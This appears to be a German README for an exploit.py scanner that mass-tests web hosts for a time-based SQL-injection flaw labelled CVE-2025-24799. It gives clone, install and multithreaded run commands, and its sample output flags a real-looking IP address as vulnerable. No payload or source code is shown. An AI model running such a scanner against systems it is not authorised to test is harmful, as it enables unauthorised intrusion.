
CVE-2025-24799 SQLi Scanner
Ein schneller Scanner für SQL-Injection-Schwachstellen, entwickelt mit Python. Verwendet zeitbasierte SQLi-Erkennung mit Multithreading und farbenfroher Ausgabe, konzipiert zum Testen von CVE-2025-24799-Schwachstellen.
Klone das Repo:
git clone https://github.com/MuhammadWaseem29/CVE-2025-24799.git
cd CVE-2025-24799
Erforderliche Pakete installieren:
pip install requests colorama
Mit Python 3 ausführen:
python3 exploit.py -u http://example.com
Ausgabe:
[VULN] http://example.com/index.php/ajax/ - Delay: 7.40s
python3 exploit.py -f urls.txt -t 15
Ausgabe:
Scanning: 100/1000 (10.0%)
[VULN] http://example.com/index.php/ajax/ - Delay: 7.10s
python3 exploit.py -f urls.txt -o results.txt -t 10
Ausgabe:
Scanning: 50/500 (10.0%)
[VULN] http://test.com/index.php/ajax/ - Delay: 7.20s
[+] Results saved to results.txt

Per curl validieren

-u <URL>: Einzelne URL zum Scannen-f <FILE>: Datei mit URLs (eine pro Zeile)-o <FILE>: Ergebnisse in Datei speichern-t <NUM>: Anzahl der Threads (Standard: 10)╔════════════════════════════╗
║ Noob-Wasi SQLi Scanner ║
║ Coded by: Noob-Wasi ║
║ Version: 1.0 ║
╚════════════════════════════╝
Starting SQL injection scan...
Scanning: 200/3494 (5.7%)
[VULN] http://152.67.42.99/index.php/ajax/ - Delay: 7.40s
Scanning: 745/3494 (21.3%)
Scan completed!
-t) basierend auf deinem System/Netzwerk anAutor: Noob-Wasi
GitHub: github.com/MuhammadWaseem29